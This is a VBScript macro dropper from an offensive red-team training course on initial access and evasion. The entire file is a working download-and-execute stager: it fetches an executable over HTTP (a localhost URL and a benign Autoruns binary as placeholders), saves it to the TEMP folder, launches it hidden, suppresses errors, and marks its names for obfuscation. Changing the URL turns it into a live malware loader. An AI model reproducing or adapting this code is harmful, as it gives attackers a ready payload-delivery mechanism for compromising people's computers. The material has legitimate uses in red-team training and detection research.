'#
'# Copyright (C) Binary-Offensive.com Mariusz Banach - All Rights Reserved
'# Unauthorized copying of this file, via any medium is strictly prohibited.
'#
'# This file/directory was part of Modern Initial Access and Evasion Tactics training
'# delivered by binary-offensive.com and was provided as supplemental material.
'# 
'# Authored by Mariusz Banach <mb@binary-offensive.com>, @mariuszbit / mgeeky
'#

Sub obf_LaunchCommand(ByVal obf_command)
    With CreateObject("WScript.Shell")
        .Run .ExpandEnvironmentStrings(obf_command), 0, False
    End With
End Sub

Function obf_SaveToFile(ByVal obf_saveAs, ByRef obf_data())

    Dim obf_out
    Dim obf_shell: Set obf_shell = CreateObject("WScript.Shell")
    obf_out = obf_shell.ExpandEnvironmentStrings(obf_saveAs)

    With CreateObject("Adodb.Stream")
        .Type = 1
        .Open
        .write obf_data
        .savetofile obf_out, 2
    End With
    obf_SaveToFile = True
    Exit Function

    obf_SaveToFile = False
End Function

Function obf_DownloadFromURL(ByVal obf_URL)

    With CreateObject("Microsoft.XMLHTTP")
        .Open "GET", obf_URL, False
        .setRequestHeader "Accept", "*/*"
        .setRequestHeader "Accept-Language", "en-US,en;q=0.9"
        .setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Edg/86.0.622.69"
        .setRequestHeader "Accept-Encoding", "gzip, deflate"
        .setRequestHeader "Cache-Control", "private, no-store, max-age=0"
        .setRequestHeader "DNT", "1"
        .Send

        If .Status = 200 Then
            obf_DownloadFromURL = .ResponseBody
            Exit Function
        End If
    End With

    obf_DownloadFromURL = ""
End Function

Sub obf_DropFile(ByVal obf_saveto)
    Dim obf_code
    Dim obf_bytes
    Dim obf_LaunchIt
    obf_LaunchIt = True
    
    obf_bytes = obf_DownloadFromURL("http://localhost:8080/Autoruns64.exe")
    
    If obf_SaveToFile(obf_saveto, obf_bytes) And obf_LaunchIt Then
        obf_LaunchCommand "%TEMP%\dropped-Autoruns.exe"
    End If
End Sub

Sub obf_MacroEntryPoint()
    On Error Resume Next

    Dim obf_location, obf_path
    Dim obf_LaunchIt
    obf_LaunchIt = True
    
    Dim obf_shell: Set obf_shell = CreateObject("WScript.Shell")
    obf_path = obf_shell.ExpandEnvironmentStrings("%TEMP%\")
    obf_location = obf_path & "dropped-Autoruns.exe"

    Dim obf_FSO: Set obf_FSO = CreateObject("Scripting.FileSystemObject")

    If obf_FSO.FolderExists(obf_path) Then
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropFile obf_location
        ElseIf obf_LaunchIt Then
            obf_LaunchCommand "%TEMP%\dropped-Autoruns.exe"
        End If
    Else
        obf_FSO.CreateFolder (obf_path)
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropFile obf_location
        ElseIf obf_LaunchIt Then
            obf_LaunchCommand "%TEMP%\dropped-Autoruns.exe"
        End If
    End If
End Sub

obf_MacroEntryPoint